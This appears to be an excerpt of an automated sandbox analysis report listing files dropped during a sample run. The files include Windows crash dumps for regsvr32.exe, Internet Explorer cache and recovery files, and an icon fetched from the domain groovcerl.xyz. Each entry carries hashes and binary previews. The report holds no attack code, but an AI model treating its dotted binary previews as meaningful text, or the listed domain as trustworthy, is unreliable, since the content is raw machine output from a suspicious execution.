SHA1:	C4854EEF6DB4ADEB4AC993F368B0AD4FEE887ED2
SHA-256:	D6EE15FEBC0A520FB1EDBE9CA1F06BB537532DB37C52CF29FEBB5ABA7E95591F
SHA-512:	424D73A3EA2BA559E07089B79CB94B154B701C6BBB223624122A0CB304914E350F5DE751ACDEB211A333009B7CC8243A22E892F718A2FCB2BFB135ADF2BC49CB
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.0.8.3.3.6.7.4.9.5.6.3.7.5.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.5.0.8.3.3.6.8.3.3.6.4.2.5.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.a.9.3.1.f.2.-.e.8.a.a.-.4.6.e.1.-.b.2.b.5.-.7.4.0.3.4.8.b.b.4.e.7.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.3.0.3.4.3.5.a.-.e.9.1.7.-.4.2.8.a.-.b.7.1.3.-.9.7.b.d.3.1.2.9.0.7.b.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.g.s.v.r.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.E.G.S.V.R.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.0.8.-.0.0.0.1.-.0.0.1.7.-.4.0.a.5.-.e.7.1.a.a.1.c.3.d.6.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.8.8.6.3.0.f.6.0.e.7.3.4.5.4.6.7.0.a.7.d.9.b.6.4.c.9.8.b.4.7.9.8.d.1.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B08.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Nov 26 03:07:57 2020, 0x1205a4 type
Category:	dropped
Size (bytes):	64096
Entropy (8bit):	2.216899139673305
Encrypted:	false
SSDEEP:	384:/n/EOTLryTtgr3xgmSRwYZz9yTcXIXyP1ReVbLO46:jLyyaHwYFI2bsVvR6
MD5:	15DE78762C559A53F5BA518AA5C86906
SHA1:	4F245580534D9952ABAFB8FC4CCFE8021F21EAD6
SHA-256:	39BA593DD0926BAC7443C8BBD2FC8A6AF76BE1320FCDBB4ED0D6D595F74EB097
SHA-512:	8D30743F7AF66831D485CFB58AA95ABB9DDD6AECE11443720BC1EC376C82AC0EB070FC7290F02B90237D7501CF72D1186DBB6EA7498B3E696C4C0E21E2A199A7
Malicious:	false
Preview:	MDMP....... .........._...................U...........B.......$......GenuineIntelW...........T.............._.............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2663.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8274
Entropy (8bit):	3.6925320311167926
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiGj56kKW6YEDZ6T9gmfJRSSCprv89by0gsfKa8im:RrlsNiI56w6YeZ6T9gmfJRSqy0zfKlz
MD5:	D8959EAF52198902BFD72A691E9147A7
SHA1:	BE649BB68517A19CCF6B0EC6EF178C23EB99BE2A
SHA-256:	5F62F1AAC661A3503E2809DF324B0D0ED17F32481D275BBAD1ECCBB76E7787E6
SHA-512:	EECC493334FCABA8C967EADB530CE1084009DA44D79F90DC2F8098F2AD29BAC21454CBCA8028412F3D5145B726D770F76C42D039DE65007F929ACE3FF31E2953
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.3.6.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C40.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4629
Entropy (8bit):	4.447562910362173
Encrypted:	false
SSDEEP:	48:cvIwSD8zsLJgtWI9oGWSC8Bip8fm8M4JkWFs+q8fWKJYFgd:uITfljHSNIOJ2zqYFgd
MD5:	D02109E83F8FC35E6EA12EF2239CE54A
SHA1:	A2B466D88203A45C476B2DCB69D0C4989DC0E3D0
SHA-256:	B35C27A70B9FA8375E77C782E98933C689F88A598603D183F9964E0650EDC820
SHA-512:	FC158ECE96F6EF0AA356D5BF432D85A99ED995211184CB9DF9A4A407C2D4D0A8728EA420442CBCC07E31248BE882485CDD5D365BC1C570BABE8DB231E15A8448
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="745218" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\explorer.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	modified
Size (bytes):	326
Entropy (8bit):	3.1121144470001534
Encrypted:	false
SSDEEP:	6:kKXyeSwwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:fyedkPlE99SNxAhUegeT2
MD5:	459A1A6FCBDCBA1B072A7C324542FCA2
SHA1:	9D4B285255143C7EA2169842AFD5FBF605EB62BC
SHA-256:	41939CE152914AD7A438A1A0ABF53242FFEC80E45C10A023354058B1845C5EBA
SHA-512:	1607E245D11E549C33673E23F424CA489E265E634B0FA9F1B19473BE21053D9F887EDA3A20EA9A08D1EBDFF1DE79ECF270B446DAFDEF8163CB8FF6E2A8595CFC
Malicious:	false
Preview:	p...... ........uZ.`....(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\IUHEMSR9\contextual.media[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2793
Entropy (8bit):	4.88134474799705
Encrypted:	false
SSDEEP:	48:L2ds2ds2dfds2ds2ddds2dsrdsrdXdsrdsrdbdsrdsV0dsV0drdsV0dsV0dsrdsL:adVdVdfdVdVdddVdMdMdXdMdMdbdMdFN
MD5:	BD57FAD57DDAA449B1D709B922C53B06
SHA1:	8502826ADB38F0E883B0DC80CBEAE40E613B9321
SHA-256:	EA7689A1013398D568F8C6838D2F677E7175C8857092BC6DC08C7CFFF7D58796
SHA-512:	E0A80CED2DFB6C37EC8BC789239C91611FC7400607D088AD3553091484D6D08F6D9EECBE37451D2C1999F9C593D3CD5F4D0AE2DAA14D1E3018AFB42F618C7CF9
Malicious:	false
Preview:	<root></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /><item name="mntest" value="mntest" ltime="509480704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /><item name="mntest" value="mntest" ltime="509600704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509400704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509760704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509760704" htime="30852001" /><item name="mntest" value="mntest" ltime="509840704" htime="30852001" /></root><root><item name="HBCM_BIDS" value="{}" ltime="509760704" htime="30852001" /></root><root><item nam

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\T8DRMTJ1\www.msn[2].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{59229456-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	137128
Entropy (8bit):	2.309250537504001
Encrypted:	false
SSDEEP:	384:rv+s/UNWkbyg3a3l3zxNWczQ4ne30WNGqQ4VLQ4tdQx/ioW9pd5Y8dWdVVEL7dFU:fCAxzDnM4n8DYr4V04tqxa/9zabk7+
MD5:	3F9DFD90E1947F3DA4AEE750653899B9
SHA1:	BED4E0EF9857D2EF3F0E39D4A65F13E437C5265D
SHA-256:	D7F14EFBB222E7E2D73A9B852890C9C430C1ED6197BED3EE0BECD050686A1469
SHA-512:	ADFAD8D2B65074B570EB4FD3261A9C7DF9A7126CEE38CCC61FE5B28F2E1B60669B82AAFAD2A2C70E2DEFAC647BE295D9BD9D56136A121FCB94AC5301B1FA24C2
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{59229458-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	191498
Entropy (8bit):	3.6072853134857894
Encrypted:	false
SSDEEP:	3072:4uiqZ/2Bfc6ru5rXfVStliqZ/2BfcJru5rXfVStE:Qmx
MD5:	8969944D2D7E1E9184E5EE94ADA8A2C3
SHA1:	85CE8859332257121DB9EBE4ECCC9A19919E60C8
SHA-256:	4E6428156ED8EDEA93CA84D195557CE2599EA43D0582FDD50968F14DB85706EF
SHA-512:	5A45488E1B677EB7A68AF5E461B79CA0126A3B33C0F07F58C01EE584664EC9AFDC70D2113A5EEB7DF7071774134DB48FC3E7F4A188D8E69F59C574AFEB992A59
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5922945A-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27968
Entropy (8bit):	1.9131892783704267
Encrypted:	false
SSDEEP:	96:rqZ5Q/69BSxFjd28kwnH/dl34CvBnH/d4PKnH/desA:rqZ5Q/69kxFjd28kwHX34CvBH2PKHJA
MD5:	9889B55C9337F246A68D21E5080E0BA5
SHA1:	46FDFD27DFFA47CA816C4DD83A00460DFC9CE419
SHA-256:	E5FCA9CE8F15B47297CEA2EB45BBEC65B5860EE15EC2721264FEF98BF27E2225
SHA-512:	33FEE408BC74E4E17EADFAB4D9A2334961B1F8C688CA1BC9592D680357D1ACE3BE61CAA233A7AEB544F28BC8563DB854F35B29E7DDF5349AA14E776EA6C36BBE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{6A1D6FAC-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27444
Entropy (8bit):	1.870291797142749
Encrypted:	false
SSDEEP:	192:rEZzQP6VkBFjt2gkWiM+YWIm5gvOxIm5gwm2fA:r08CeBhkkT+7Im0yImrm/
MD5:	8A90BB3B6B27C94CD47CB85581989BFB
SHA1:	FD0EB32EE1DF6540838B7C82E7391D1B56694617
SHA-256:	8400E005D1865CAA1FE4604168ADD23E91D2B5B4C963EACFA89EDD5F184F9681
SHA-512:	B426F944AC5E6984810B997A485426287AB7E4BF9CD739DF12F4AB2BD74A761CF9FB39DEBD0F34F13DB633A91A39D00C374B839E330427AD5E3CF356B0B7D2D6
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{773DD5A4-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27360
Entropy (8bit):	1.8405022071333668
Encrypted:	false
SSDEEP:	192:rIZjQ/6dkuFjx2UkWTMyYq25myeR25myoKA:rIsyGuhgAQyf2Uyq2Uyot
MD5:	FDFEEC84F5E292533CFEFD4B2A97E9A1
SHA1:	6141D96A2BD2C571C34FAD8F1AE1C5C5A30223E8
SHA-256:	682B2D6773855102D224A2D1C46D0E48C283578E01E42F8805302EEAC8B6A75D
SHA-512:	8B0267446BF265E0979EFE5875BC016CFFB8D163F917C124D94E51000C4AFCCE3474C676CAD234C21CDDB394D13F08CC0B809FEAE860118B57E59B5E8BD3A937
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{773DD5A6-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27356
Entropy (8bit):	1.8419341950504629
Encrypted:	false
SSDEEP:	96:rrZIQ06ZBS8Fj52gkWIM7YumtCgmRmtCgXumA:rrZIQ06Zk8Fj52gkWIM7YuAmRAemA
MD5:	E8FAB351C4732D201629C591959B9242
SHA1:	71FA317A38725C9211E63C0C0197F99A4724F197
SHA-256:	BC4CC0FC8C658DBA3B74A516D14E0EA580807960029DD5800634B7BAD7981633
SHA-512:	2A3C042590FC861ED847297A88B5FCFBC2470364C62B07AA9727339EE559A9A0A0D408E75F2FDB875AF1570ADDABE77BF483B1B93287F509F5A8AC1917EB688E
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{773DD5A8-2F94-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27428
Entropy (8bit):	1.8659484458694955
Encrypted:	false
SSDEEP:	192:rNZamQxn677kMFjl2YkWhM7YGANYlRANYO/vA:rjazx67AMhcc67rSYLSYj
MD5:	536D10BAFF3CE9D00DC78237938B5725
SHA1:	A2518A7893283C907B03E7662CEA4045D8522F60
SHA-256:	648262AD19F3B912548A4763A9C55C5E321B6B8865B9CD2B41E201E1AA3C44AF
SHA-512:	F1B924BC84158CADF724C47858744D8968350B909BF65C3ABC161461712CEB9D4A80FAEBCE9D143B177E5A6A9D6625DFE363D8C12F36281A35778AD50FD86B77
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\po60zt0\imagestore.dat Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	5640
Entropy (8bit):	4.115205412829588
Encrypted:	false
SSDEEP:	96:M0aWBAm5zDlvV2rkG4zuAZMXJFG62q7mQL:MCBp5zZ0IG46AaXJFG6v7mW
MD5:	87A2929CED9AC4F04FCF3DB1CBAF9089
SHA1:	E36C46AFFB27F040E47686AA55F4817476522962
SHA-256:	A62474CEEB4821B89796FF774D9FB573063AB89D6FC7A3FA368CA65DE15FD780
SHA-512:	FA7D5C706CE8C804C2BBEA23D82AC0DDD633FD6FBEE54F6D7B2B0A1EF467B22C29D31BDC01D70FDFF179A53FE934F5D1F5E5385EDED0C4C0B6E87517F67E9461
Malicious:	false
Preview:	.h.t.t.p.:././.g.r.o.o.v.c.e.r.l...x.y.z./.f.a.v.i.c.o.n...i.c.o.~............... .h.......(....... ..... .....@.....................s...s...s...sw..r.......s...s...s...s.......s...s..s...s...s...s...r...s{..s...s#..s...s..r..s..s...s[..s...s...s..s...s...s...s}..s...sW..r..s...sm..sK..sC..sw..s..s...s%..s!..s..s...s...s...sU..s.sY..s...s..s..r#......s...s...s..s...r%..s[..s...s...s..s]..s...r.sS..s...sq..........s...s...s...s...s.......su..s...s.......s...s..s.sA..............s%..s..s#......r...r...s]..........s...s..sk..s...s...........s...s...s]......s...r..s7..........s...s..r...r...s...r...........s...s.......s...s..s7..........s...s..si..s?..s7..s...........s...s.......s...s...rW..........s...s..s...s...s...s...........s...s[..........ss..s...s.......s...s..sm..sI..s;..s.......s!..s..s#......s...s...s..sQ......s...s..s...r...sm..s...r...s...r...s...s...r...s...sQ..s..rK..s...sg..s'..........s...s...s..s...s'..s_..s...s...s...rQ..s..s...sK..r/..s3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\50-f1e180[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	133458
Entropy (8bit):	5.224381274909031
Encrypted:	false
SSDEEP:	3072:1f/HuFVppxvIeJ0i9d1EwgXA9JKEODCE5n:1f/Hu/FIeRKn
MD5:	365A10154187380204CA942771D68129
SHA1:	B34E3B77D8D2D6CBF29F57AEE3C14BE3F567EF39
SHA-256:	0FA4389403FD21C7C419C3EDD787F90E198D8D05639967D85BB8D391294B7B75
SHA-512:	1A41E4E5EA1D8F4B73AD8DD720A66DE033F68D48C235FB9BE0923BB575902451E4289C7899E76632C327569BEBCC3DFC0B991F49E9E0BC18482FA9A2FF4B281D
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\83cfba42-7d45-4670-a4a7-a3211ca07534[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category:	dropped
Size (bytes):	77019
Entropy (8bit):	7.9793188826252015
Encrypted:	false
SSDEEP:	1536:n4CgnWJms6o5rjcuq1bftPIgzJFwkfqunE3Wsa4yeogju:n4Cqhwau+fZ5zJFwkPE3Wv4yeVq
MD5:	A03AE20384BA980D377C190D2A31B9CC
SHA1:	164C9E714A7BBE8878323280600CED9A547A873A
SHA-256:	4A80CC3A77581A547C31B220DB8BE10CBA5076D02D21D69CE07EA6C47F8EA89B
SHA-512:	835FB9E1D70D91F79D1ED5FB2B7BA3B8CC636037360A1783240EF53D047FE666C14F39793587A09AB63A9837D369B8EF87FC5267B0E22A612C23E753D82B7DBF
Malicious:	false
Preview:	......JFIF.............C....................................................................C.......................................................................,.,.."...........................................F...........................!.1.."A.#Qa.2q.$B...3...%Rb....C.&r.45Ss...................................F........................!...1."AQ.2aq#....B...$3R....4Cr...%Sb.Tcs..............?...E..$k...v..n^\|......m.lpBs....f=..&<......(.P^.W....N......~.F.Pa..w..cx....y..?.............Q..J......=.....I..G1..1#..7.3.x...b...I.....T.....LL....OBR,N.[..O.G..o;x.i..=\|e.T..G..D...>?_;.o..3I.{/o..~C.~.T()..{...{{..A.V.3...Q1...%3.=..../o.....H.\|m.b7.~.f>....Q.nOx.>..bc..;o><...z.i.\.@.r&'...<..v...\|...mX.......ppO......O..=.g,.2..1.........J."yDy.g.v....?...d.U..$\.y.C..\|...{G../..L.b_.....b=........z..ER1....x(."......O....o.{~....l.......'i....>..w..<c.D..m.v................}..&#.?....z..c..A..\|.~.nq..~....q..................<F.Q?...O.......).8......J..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\BB15AQNm[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	23518
Entropy (8bit):	7.93794948271159
Encrypted:	false
SSDEEP:	384:7XNEQW4OGoP8X397crjXt1/v2032/EcJ+eGovCO2+m5fC/lWL2ZSwdeL5HER4ycP:7uf4ik390Xt1vP2/RVCqm5foMyDdeiRU
MD5:	C701BB9A16E05B549DA89DF384ED874D
SHA1:	61F7574575B318BDBE0BADB5942387A65CAB213C
SHA-256:	445339480FB2AE6C73FF3A11F9F9F3902588BFB8093D5CC8EF60AF8EF9C43B35
SHA-512:	AD226B2FE4FF44BBBA00DFA6A7C572BD2433C3821161F03A811847B822BA4FC9F311AD1A16C5304ABE868B0FA1F548B8AEF988D87345AEB579B9F31A74D5BF3C
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(...CKHh.........i.@.....i..lR2...MpR..^E....&EYv..N.j...e..j..U,....BZ...qQM.dT....@..8..s..i..}....n..D...i.....VC.HK"..T.iX.f.v&.}.v..7..jV.....jF.c..NhS.L.b>x".D...,..G.Z..!.i..VO..._4.@X.].p..].5b+...Uk...((@.s'..?Hv............\z.z.JGih..}S.....T..WBZ...'.T?6..j.H"....*..%p3.YnEc.W.f.^......Q.....#..k..Z......I:..MC..H.S..#..Y 